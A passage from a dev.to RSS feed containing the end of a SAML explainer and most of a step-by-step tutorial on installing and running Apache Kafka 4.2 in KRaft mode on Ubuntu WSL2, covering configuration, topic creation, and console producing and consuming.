&lt;p&gt;The assertion contains information about the authenticated identity and can include attributes needed by the application.&lt;/p&gt;

&lt;p&gt;The Identity Provider signs the assertion.&lt;/p&gt;

&lt;p&gt;The browser transports the SAML Response.&lt;/p&gt;

&lt;p&gt;The Service Provider validates the response and assertion before creating an application session.&lt;/p&gt;

&lt;p&gt;This separation allows enterprises to centralize authentication while allowing many applications to participate in a common SSO infrastructure.&lt;/p&gt;

&lt;p&gt;And that is the real value of SAML:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;one trusted identity system, many applications, and a standardized way to communicate authentication information between them.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If you're working with enterprise Java applications, identity platforms, application security, or distributed systems, understanding this flow is well worth the effort.&lt;/p&gt;

&lt;p&gt;Happy learning! 🚀&lt;/p&gt;

</description>
      <category>saml</category>
      <category>security</category>
      <category>java</category>
      <category>oauth2</category>
    </item>
    <item>
      <title>Installing Apache Kafka 4.2 on Ubuntu (WSL2): A Complete KRaft Step-by-Step Guide</title>
      <dc:creator>Sanjay Ghosh</dc:creator>
      <pubDate>Fri, 17 Jul 2026 18:58:38 +0000</pubDate>
      <link>https://dev.to/sanjayghosh/installing-apache-kafka-42-on-ubuntu-wsl2-a-complete-kraft-step-by-step-guide-4bmf</link>
      <guid>https://dev.to/sanjayghosh/installing-apache-kafka-42-on-ubuntu-wsl2-a-complete-kraft-step-by-step-guide-4bmf</guid>
      <description>&lt;h2&gt;
  
  
  Installing Apache Kafka 4.2 on Ubuntu 24.04 (WSL2) Using KRaft Mode: A Complete Step-by-Step Guide
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;Learn how to install Apache Kafka 4.2 in KRaft mode, understand its architecture, create topics, produce and consume messages, and troubleshoot common configuration issues—all without ZooKeeper.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  🚀 Introduction
&lt;/h2&gt;

&lt;p&gt;Apache Kafka has become the de facto standard for building &lt;strong&gt;event-driven&lt;/strong&gt;, &lt;strong&gt;real-time&lt;/strong&gt;, and &lt;strong&gt;high-throughput&lt;/strong&gt; applications. Whether you're processing millions of financial transactions, collecting application logs, streaming IoT sensor data, or connecting microservices, Kafka provides a scalable and reliable messaging platform.&lt;/p&gt;

&lt;p&gt;Until recently, setting up Kafka required running &lt;strong&gt;Apache ZooKeeper&lt;/strong&gt; alongside Kafka brokers. While powerful, ZooKeeper added operational complexity and introduced another distributed system that administrators had to manage.&lt;/p&gt;

&lt;p&gt;Beginning with recent Kafka releases, &lt;strong&gt;KRaft (Kafka Raft Metadata mode)&lt;/strong&gt; removes this dependency by allowing Kafka to manage its own metadata internally. This makes installation simpler, reduces operational overhead, and improves scalability.&lt;/p&gt;

&lt;p&gt;In this guide, we'll install &lt;strong&gt;Apache Kafka 4.2&lt;/strong&gt; on &lt;strong&gt;Ubuntu 24.04.4 LTS (WSL2)&lt;/strong&gt;, configure a single-node KRaft cluster, and walk through the complete lifecycle:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Installing Kafka&lt;/li&gt;
&lt;li&gt;Understanding the Kafka architecture&lt;/li&gt;
&lt;li&gt;Configuring KRaft mode&lt;/li&gt;
&lt;li&gt;Starting the broker&lt;/li&gt;
&lt;li&gt;Creating topics&lt;/li&gt;
&lt;li&gt;Producing and consuming messages&lt;/li&gt;
&lt;li&gt;Troubleshooting common issues&lt;/li&gt;
&lt;li&gt;Understanding the purpose of each configuration parameter&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Rather than simply listing commands, I'll explain &lt;strong&gt;why&lt;/strong&gt; each step is necessary so that you understand how Kafka works under the hood.&lt;/p&gt;




&lt;h2&gt;
  
  
  What is Apache Kafka?
&lt;/h2&gt;

&lt;p&gt;Apache Kafka is a &lt;strong&gt;distributed event streaming platform&lt;/strong&gt; designed to move data reliably and efficiently between applications.&lt;/p&gt;

&lt;p&gt;Instead of applications communicating directly with each other, they communicate through Kafka.&lt;/p&gt;

&lt;p&gt;A producing application writes messages to Kafka.&lt;/p&gt;

&lt;p&gt;Kafka stores those messages reliably.&lt;/p&gt;

&lt;p&gt;One or more consuming applications read those messages whenever they need them.&lt;/p&gt;

&lt;p&gt;This decouples applications from one another, allowing them to scale independently.&lt;/p&gt;

&lt;p&gt;For example, imagine an online shopping application.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Customer Places Order
          │
          ▼
      Order Service
          │
          ▼
       Kafka Topic
      /      |      \
     ▼       ▼       ▼
 Inventory  Billing  Shipping
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The Order Service publishes a single event.&lt;/p&gt;

&lt;p&gt;Inventory updates stock.&lt;/p&gt;

&lt;p&gt;Billing processes the payment.&lt;/p&gt;

&lt;p&gt;Shipping prepares the shipment.&lt;/p&gt;

&lt;p&gt;Each service works independently without knowing about the others.&lt;/p&gt;

&lt;p&gt;This is one of Kafka's greatest strengths.&lt;/p&gt;




&lt;h2&gt;
  
  
  Kafka Architecture
&lt;/h2&gt;

&lt;p&gt;The following diagram illustrates the overall architecture of Apache Kafka running in &lt;strong&gt;KRaft mode&lt;/strong&gt;.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;(Insert the cover architecture image here.)&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The architecture consists of three primary components:&lt;/p&gt;

&lt;h3&gt;
  
  
  Producers
&lt;/h3&gt;

&lt;p&gt;Producers publish messages into Kafka.&lt;/p&gt;

&lt;p&gt;Examples include:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Java applications&lt;/li&gt;
&lt;li&gt;Spring Boot microservices&lt;/li&gt;
&lt;li&gt;Python applications&lt;/li&gt;
&lt;li&gt;IoT devices&lt;/li&gt;
&lt;li&gt;Web applications&lt;/li&gt;
&lt;li&gt;Log collection systems&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A producer simply sends data—it doesn't need to know who will consume it.&lt;/p&gt;




&lt;h4&gt;
  
  
  Kafka Cluster
&lt;/h4&gt;

&lt;p&gt;The Kafka cluster is responsible for:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Receiving messages&lt;/li&gt;
&lt;li&gt;Persisting messages to disk&lt;/li&gt;
&lt;li&gt;Replicating data&lt;/li&gt;
&lt;li&gt;Managing topics&lt;/li&gt;
&lt;li&gt;Managing partitions&lt;/li&gt;
&lt;li&gt;Delivering messages to consumers&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In KRaft mode, the cluster also manages its own metadata through the Controller.&lt;/p&gt;




&lt;h4&gt;
  
  
  Consumers
&lt;/h4&gt;

&lt;p&gt;Consumers subscribe to topics and process messages.&lt;/p&gt;

&lt;p&gt;Examples include:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Analytics applications&lt;/li&gt;
&lt;li&gt;Fraud detection services&lt;/li&gt;
&lt;li&gt;Notification systems&lt;/li&gt;
&lt;li&gt;Machine Learning pipelines&lt;/li&gt;
&lt;li&gt;Search indexing services&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Multiple consumers can read the same topic independently.&lt;/p&gt;




&lt;h2&gt;
  
  
  Core Kafka Concepts
&lt;/h2&gt;

&lt;p&gt;Before installing Kafka, it's helpful to understand a few important concepts.&lt;/p&gt;

&lt;h3&gt;
  
  
  Broker
&lt;/h3&gt;

&lt;p&gt;A &lt;strong&gt;Broker&lt;/strong&gt; is a Kafka server.&lt;/p&gt;

&lt;p&gt;It receives messages from producers and stores them on disk.&lt;/p&gt;

&lt;p&gt;A Kafka cluster may contain one broker or hundreds of brokers.&lt;/p&gt;

&lt;p&gt;For this tutorial, we'll use a &lt;strong&gt;single broker&lt;/strong&gt;.&lt;/p&gt;




&lt;h3&gt;
  
  
  Topic
&lt;/h3&gt;

&lt;p&gt;A &lt;strong&gt;Topic&lt;/strong&gt; is a logical category used to organize messages.&lt;/p&gt;

&lt;p&gt;Examples:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="s"&gt;orders&lt;/span&gt;

&lt;span class="s"&gt;payments&lt;/span&gt;

&lt;span class="s"&gt;customer-events&lt;/span&gt;

&lt;span class="s"&gt;application-logs&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Applications publish messages to topics.&lt;/p&gt;

&lt;p&gt;Consumers subscribe to topics.&lt;/p&gt;




&lt;h3&gt;
  
  
  Partition
&lt;/h3&gt;

&lt;p&gt;Each topic is divided into one or more &lt;strong&gt;Partitions&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Partitions allow Kafka to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Scale horizontally&lt;/li&gt;
&lt;li&gt;Process data in parallel&lt;/li&gt;
&lt;li&gt;Increase throughput&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For a small development environment, one partition is usually sufficient.&lt;/p&gt;

&lt;p&gt;Production systems often contain dozens or even hundreds of partitions.&lt;/p&gt;




&lt;h3&gt;
  
  
  Producer
&lt;/h3&gt;

&lt;p&gt;A Producer writes messages to a Kafka topic.&lt;/p&gt;

&lt;p&gt;For example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Order Created

Payment Successful

Inventory Updated
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Each message is appended sequentially to the topic.&lt;/p&gt;




&lt;h3&gt;
  
  
  Consumer
&lt;/h3&gt;

&lt;p&gt;A Consumer continuously reads messages from Kafka.&lt;/p&gt;

&lt;p&gt;Consumers remember the last message they processed using &lt;strong&gt;Offsets&lt;/strong&gt;, allowing them to resume processing after a restart.&lt;/p&gt;




&lt;h2&gt;
  
  
  What is KRaft?
&lt;/h2&gt;

&lt;p&gt;Older versions of Kafka required &lt;strong&gt;Apache ZooKeeper&lt;/strong&gt; to maintain cluster metadata.&lt;/p&gt;

&lt;p&gt;ZooKeeper stored information such as:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Broker registration&lt;/li&gt;
&lt;li&gt;Controller election&lt;/li&gt;
&lt;li&gt;Topic metadata&lt;/li&gt;
&lt;li&gt;Partition assignments&lt;/li&gt;
&lt;li&gt;Cluster configuration&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;While reliable, this meant administrators had to deploy and maintain &lt;strong&gt;two distributed systems&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Beginning with modern Kafka releases, this dependency has been removed.&lt;/p&gt;

&lt;p&gt;Kafka now uses &lt;strong&gt;KRaft (Kafka Raft Metadata mode)&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Instead of relying on ZooKeeper, Kafka stores metadata internally using the &lt;strong&gt;Raft consensus protocol&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;This results in:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Simpler deployment&lt;/li&gt;
&lt;li&gt;Fewer moving parts&lt;/li&gt;
&lt;li&gt;Lower operational overhead&lt;/li&gt;
&lt;li&gt;Improved scalability&lt;/li&gt;
&lt;li&gt;Better long-term maintainability&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For new Kafka deployments, &lt;strong&gt;KRaft is the recommended architecture&lt;/strong&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  Installing Apache Kafka 4.2
&lt;/h2&gt;

&lt;p&gt;Before installing Kafka, verify that Java 11 or later is installed.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;java &lt;span class="nt"&gt;-version&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Download Kafka:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;wget https://downloads.apache.org/kafka/4.2.0/kafka_2.13-4.2.0.tgz
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Extract the archive:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;tar&lt;/span&gt; &lt;span class="nt"&gt;-xzf&lt;/span&gt; kafka_2.13-4.2.0.tgz
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Navigate into the installation directory:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cd &lt;/span&gt;kafka_2.13-4.2.0
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;At this point, Kafka has been downloaded but is not yet initialized.&lt;/p&gt;

&lt;p&gt;The next step is configuring Kafka to run in &lt;strong&gt;KRaft mode&lt;/strong&gt;.&lt;/p&gt;




&lt;h3&gt;
  
  
  Understanding &lt;code&gt;server.properties&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Almost every important Kafka configuration lives inside:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;config/server.properties
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Although this file contains many configuration options, only a handful are essential for a single-node KRaft installation.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight properties"&gt;&lt;code&gt;&lt;span class="py"&gt;process.roles&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;broker,controller&lt;/span&gt;

&lt;span class="py"&gt;node.id&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;1&lt;/span&gt;

&lt;span class="py"&gt;controller.quorum.voters&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;1@localhost:9093&lt;/span&gt;

&lt;span class="py"&gt;listeners&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;PLAINTEXT://:9092,CONTROLLER://:9093&lt;/span&gt;

&lt;span class="py"&gt;advertised.listeners&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;PLAINTEXT://localhost:9092,CONTROLLER://localhost:9093&lt;/span&gt;

&lt;span class="py"&gt;controller.listener.names&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;CONTROLLER&lt;/span&gt;

&lt;span class="py"&gt;log.dirs&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;/tmp/kraft-combined-logs&lt;/span&gt;

&lt;span class="py"&gt;delete.topic.enable&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;true&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Let's briefly understand what each property does.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Property&lt;/th&gt;
&lt;th&gt;Purpose&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;process.roles&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Defines whether this node acts as a Broker, Controller, or both.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;node.id&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Unique identifier for the Kafka node.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;controller.quorum.voters&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Identifies which nodes participate in controller elections.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;listeners&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Specifies the network ports Kafka listens on.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;advertised.listeners&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Tells clients how they should connect to Kafka.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;controller.listener.names&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Indicates which listener is reserved for controller communication.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;log.dirs&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Directory used to store Kafka logs and metadata.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;delete.topic.enable&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Enables topic deletion.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Notice that Kafka listens on &lt;strong&gt;two ports&lt;/strong&gt;:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Port&lt;/th&gt;
&lt;th&gt;Purpose&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;9092&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Producers, Consumers, Kafka Clients&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;9093&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Internal KRaft Controller Communication&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Your Java applications, producers, consumers, and administration tools will typically connect to &lt;strong&gt;9092&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;The &lt;strong&gt;9093&lt;/strong&gt; listener is reserved for Kafka's internal controller operations.&lt;/p&gt;




&lt;p&gt;In the next section, we'll initialize Kafka storage, start the broker, create our first topic, and begin publishing and consuming messages.&lt;/p&gt;

&lt;h2&gt;
  
  
  Initializing Kafka Storage and Starting the Broker
&lt;/h2&gt;

&lt;p&gt;Now that Kafka is installed and &lt;code&gt;server.properties&lt;/code&gt; is configured, the next step is to initialize the metadata storage required by &lt;strong&gt;KRaft mode&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Unlike older Kafka versions that relied on ZooKeeper to maintain cluster metadata, KRaft stores metadata directly within Kafka. Before the broker can start, this storage must be initialized exactly once.&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 1 – Generate a Cluster ID
&lt;/h2&gt;

&lt;p&gt;Every Kafka cluster has a unique &lt;strong&gt;Cluster ID&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Generate one using:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bin/kafka-storage.sh random-uuid
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Example output:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;NBPgGxgHTuuFVYzV3U6oyA
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Your value will be different.&lt;/p&gt;

&lt;p&gt;Save this value because it will be used during the storage formatting step.&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 2 – Format the Metadata Storage
&lt;/h2&gt;

&lt;p&gt;Initialize the storage using the Cluster ID that was generated in the previous step.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bin/kafka-storage.sh format &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;-t&lt;/span&gt; NBPgGxgHTuuFVYzV3U6oyA &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;-c&lt;/span&gt; config/server.properties
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If everything is configured correctly, Kafka will display output similar to:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Formatting dynamic metadata voter directory /tmp/kraft-combined-logs
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This command creates the metadata required by the KRaft controller.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Important:&lt;/strong&gt; Formatting should only be performed when creating a new Kafka cluster. Running it again on an existing cluster will erase the existing metadata.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Step 3 – Start Kafka
&lt;/h2&gt;

&lt;p&gt;Start the Kafka broker using:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bin/kafka-server-start.sh config/server.properties
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Kafka starts as a foreground process.&lt;/p&gt;

&lt;p&gt;You should begin seeing log messages indicating that the broker and controller have started successfully.&lt;/p&gt;

&lt;p&gt;Leave this terminal running.&lt;/p&gt;




&lt;h2&gt;
  
  
  Understanding the Listener Ports
&lt;/h2&gt;

&lt;p&gt;One question that often confuses new Kafka users is:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Why does Kafka use two ports?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Earlier we configured:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight properties"&gt;&lt;code&gt;&lt;span class="py"&gt;listeners&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;PLAINTEXT://:9092,CONTROLLER://:9093&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;These listeners serve different purposes.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Port&lt;/th&gt;
&lt;th&gt;Purpose&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;9092&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Client communication (Producers, Consumers, Admin tools, Java applications)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;9093&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Internal KRaft Controller communication&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Think of &lt;strong&gt;9092&lt;/strong&gt; as the public entrance to Kafka.&lt;/p&gt;

&lt;p&gt;Applications connect to this port to publish and consume messages.&lt;/p&gt;

&lt;p&gt;The &lt;strong&gt;9093&lt;/strong&gt; listener is reserved for Kafka itself. It is used internally by the controller to manage cluster metadata and coordinate the broker.&lt;/p&gt;

&lt;p&gt;As an application developer, you will almost always connect to &lt;strong&gt;9092&lt;/strong&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  Creating Your First Topic
&lt;/h2&gt;

&lt;p&gt;A &lt;strong&gt;Topic&lt;/strong&gt; is a logical channel used to organize messages.&lt;/p&gt;

&lt;p&gt;Let's create one named &lt;strong&gt;my-test-topic&lt;/strong&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bin/kafka-topics.sh &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--create&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--topic&lt;/span&gt; my-test-topic &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--bootstrap-server&lt;/span&gt; localhost:9092
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Expected output:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Created topic my-test-topic.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Notice that we connected using &lt;strong&gt;localhost:9092&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;--bootstrap-server&lt;/code&gt; parameter specifies the Kafka broker that the client should contact.&lt;/p&gt;




&lt;h2&gt;
  
  
  Listing Existing Topics
&lt;/h2&gt;

&lt;p&gt;To display all available topics:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bin/kafka-topics.sh &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--list&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--bootstrap-server&lt;/span&gt; localhost:9092
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Example output:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;my-test-topic
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If your Kafka installation contains multiple topics, each one will be listed.&lt;/p&gt;




&lt;h2&gt;
  
  
  Describing a Topic
&lt;/h2&gt;

&lt;p&gt;To display detailed information about a topic:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bin/kafka-topics.sh &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--describe&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--topic&lt;/span&gt; my-test-topic &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--bootstrap-server&lt;/span&gt; localhost:9092
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Typical output includes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Topic name&lt;/li&gt;
&lt;li&gt;Partition count&lt;/li&gt;
&lt;li&gt;Replication factor&lt;/li&gt;
&lt;li&gt;Leader&lt;/li&gt;
&lt;li&gt;Replicas&lt;/li&gt;
&lt;li&gt;In-Sync Replicas (ISR)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Understanding these values becomes increasingly important as your Kafka cluster grows beyond a single broker.&lt;/p&gt;




&lt;h2&gt;
  
  
  Producing Messages
&lt;/h2&gt;

&lt;p&gt;Now let's send our first messages.&lt;/p&gt;

&lt;p&gt;Open a &lt;strong&gt;second terminal&lt;/strong&gt; and execute:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bin/kafka-console-producer.sh &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--topic&lt;/span&gt; my-test-topic &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--bootstrap-server&lt;/span&gt; localhost:9092
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You'll see a prompt:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Everything you type is immediately published to Kafka.&lt;/p&gt;

&lt;p&gt;For example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Hello Kafka!

Learning Kafka with KRaft mode.

This is my first Kafka message.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Each line becomes a separate Kafka message.&lt;/p&gt;




&lt;h2&gt;
  
  
  Consuming Messages
&lt;/h2&gt;

&lt;p&gt;Open a &lt;strong&gt;third terminal&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Run:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bin/kafka-console-consumer.sh &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--topic&lt;/span&gt; my-test-topic &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--from-beginning&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--bootstrap-server&lt;/span&gt; localhost:9092
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Example output:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Hello Kafka!

Learning Kafka with KRaft mode.

This is my first Kafka message.
&lt;/code&gt;&lt;/pre&gt;

